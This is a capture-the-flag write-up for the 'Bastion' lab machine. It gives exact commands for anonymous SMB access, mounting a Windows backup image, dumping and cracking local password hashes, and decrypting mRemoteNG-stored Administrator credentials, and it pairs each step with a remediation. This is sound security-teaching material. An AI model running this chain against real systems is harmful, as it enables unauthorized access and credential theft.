Bastion
Summary
I found an SMB share open to anonymous access containing a full Windows Server Backup image. By mounting the virtual disk over the network, they extracted the machine's local password database and cracked a user's weak password offline.
That credential granted an SSH shell on the server. Once inside, I discovered that a remote-connection manager had saved the Administrator's password in a file encrypted with the application's publicly known default key, which was decrypted in seconds to achieve full administrative control of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"Attack path — how the box was taken
Exact commands 2
Null-session share listing; no credentials supplied.
$ smbclient -N -L //$TARGETAlternative confirmation of anonymous share access and read rights.
$ nxc smb $TARGET -u '' -p '' --sharesFixDisable anonymous (null-session) access to SMB sharesHigh
Exact commands 1
Enumerate the full share tree to identify the VHD path inside the backup set.
$ smbclient -N //$TARGET/Backups -c 'recurse ON; ls'FixRemove OS backup images from network-accessible shares and encrypt backups at restCritical
Exact commands 3
Mount the anonymous share read-only.
$ mount -t cifs //$TARGET/Backups /mnt/smb -o ro,guest,vers=3.0Attach the VHD; -i auto-selects the OS partition.
$ guestmount -a '/mnt/smb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd' -i --ro /mnt/vhdCopy both hives to the local working directory for offline analysis.
$ cp /mnt/vhd/Windows/System32/config/SAM ./SAM && cp /mnt/vhd/Windows/System32/config/SYSTEM ./SYSTEMExact commands 1
Decrypts SAM offline using the SYSTEM boot key; outputs NTLM hashes for all local accounts.
$ impacket-secretsdump -sam SAM -system SYSTEM LOCALExact commands 1
Mode 1000 = NTLM. Substitute the hash from step 4. Recovers plaintext <withheld>.
$ hashcat -m 1000 <L4mpje-ntlm-hash> /usr/share/wordlists/rockyou.txtFixEnforce a strong, non-dictionary password policy for all local accountsHigh
Exact commands 2
Open an interactive SSH session as L4mpje.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null L4mpje@$TARGETRead user flag — value is <user.txt>.
$ type C:\Users\L4mpje\Desktop\user.txtExact commands 1
Read the mRemoteNG connection config to obtain the base64-encrypted password blob for the Administrator entry.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no L4mpje@$TARGET "type C:\\Users\\L4mpje\\AppData\\Roaming\\mRemoteNG\\confCons.xml"FixRemove stored privileged credentials from mRemoteNG and set a strong master passwordCritical
Exact commands 1
Substitute the base64 Password= attribute value from confCons.xml. Default key. Returns <withheld>.
$ python3 mRemoteNG-Decrypt.py -s '<Password-value-from-confCons.xml>' -p $KEYExact commands 2
Open an interactive SSH session as the built-in Administrator.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null Administrator@$TARGETRead root flag — value is <root.txt>.
$ type C:\Users\Administrator\Desktop\root.txtTechniques used
New to these ideas? Learn the concepts in Hack & Learn.